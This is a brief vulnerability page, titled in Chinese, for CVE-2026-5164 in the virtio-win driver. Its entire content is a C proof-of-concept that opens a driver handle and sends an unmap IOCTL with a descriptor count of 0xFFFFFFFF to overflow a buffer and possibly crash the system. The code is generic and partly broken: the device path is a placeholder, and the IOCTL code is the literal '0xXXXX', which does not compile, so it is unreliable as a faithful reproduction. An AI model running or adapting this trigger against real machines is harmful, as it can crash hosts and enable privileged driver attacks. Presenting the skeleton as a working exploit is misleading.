CVE-2026-5164 virtio-win缓冲区溢出漏洞

// PoC for CVE-2026-5164 // This code demonstrates triggering the buffer overrun in virtio-win by sending // an unmap request with an excessive number of descriptors. // Note: Requires local high privileges and specific driver environment. #include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; // Placeholder for actual device path char devicePath[] = "\\\\.\\VirtIODevice"; // Placeholder for actual UnMap IOCTL code DWORD ioctlCode = 0xXXXX; // Open a handle to the vulnerable driver hDevice = CreateFileA(devicePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } // Structure representing the unmap payload typedef struct _UNMAP_PAYLOAD { ULONG DescriptorCount; PVOID Descriptors; } UNMAP_PAYLOAD; UNMAP_PAYLOAD payload; // Set an abnormally high number to trigger the overflow payload.DescriptorCount = 0xFFFFFFFF; payload.Descriptors = NULL; printf("Sending malicious payload to trigger buffer overrun...\n"); // Send the IOCTL request BOOL result = DeviceIoControl( hDevice, ioctlCode, &payload, sizeof(payload), NULL, 0, &bytesReturned, NULL ); if (!result) { printf("DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("Payload sent successfully. System may crash.\n"); } CloseHandle(hDevice); return 0; }